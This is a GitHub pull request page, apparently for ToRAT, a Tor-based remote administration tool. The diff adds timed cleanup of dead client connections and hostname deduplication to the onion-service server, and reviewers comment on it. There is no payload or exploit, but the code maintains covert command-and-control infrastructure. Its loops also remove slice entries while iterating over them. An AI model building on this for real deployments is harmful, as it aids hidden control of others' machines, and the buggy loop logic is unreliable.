Skip to content
This repository has been archived by the owner on Mar 26, 2023. It is now read-only.

Removes dead connections #258

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 0 additions & 2 deletions build.sh

This file was deleted.

3 changes: 0 additions & 3 deletions run.sh

This file was deleted.

25 changes: 25 additions & 0 deletions torat_server/server.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ import (
"net/rpc"
"os"
"path/filepath"
"time"

"github.com/cretz/bine/tor"
torEd25519 "github.com/cretz/bine/torutil/ed25519"
Expand Down Expand Up @@ -80,6 +81,23 @@ func Start() error {
log.Println("Onion service running:", service.ID+".onion")

loadData()

// Spawn timer to clean dead connections every 5 mins
timer := time.NewTicker(5 * time.Minute)
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think every 5 minutes might be overly conservative

go func() {
for {
select {
case <-timer.C:
Comment on lines +88 to +90
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can just do for range timer.C instead

for i, _ := range activeClients {
ac := getClient(i)
if err := ac.getHostname(); err != nil {
activeClients = append(activeClients[:i], activeClients[i+1:]...)
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add a notification that a client disconnected

[-] Client %name disconnected.

}
}
}
}
}()

for {
conn, err := service.Accept()
if err != nil {
Expand Down Expand Up @@ -117,6 +135,13 @@ func accept(conn net.Conn) {

saveData()

// Remove previous dead entry if it exists
for i, c := range activeClients {
if c.Hostname == ac.Hostname {
activeClients = append(activeClients[:i], activeClients[i+1:]...)
}
}
Comment on lines +139 to +143
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this might introduce a bug where for whatever reason 2 client instances run on the same machine, this should therefore also check if the old session still works and keep it in that case.


activeClients = append(activeClients, ac)
fmt.Println(green("[Server] [+] New Client: "), blue(ac.Data().Name))
}
Expand Down